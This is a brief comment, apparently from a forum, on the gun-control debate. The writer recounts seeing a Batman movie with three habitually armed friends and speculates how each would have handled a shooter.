As for the underlying argument of "gun control", I saw this Batman movie with three people who were armed (and not because of the violence the night before, but because they are always armed). Two are well trained, and would've calmly taken aim and shot the shooter. The third would've gotten excited and shot his own foot off. I don't mean this as an argument for/against gun control, but only as a piece of information.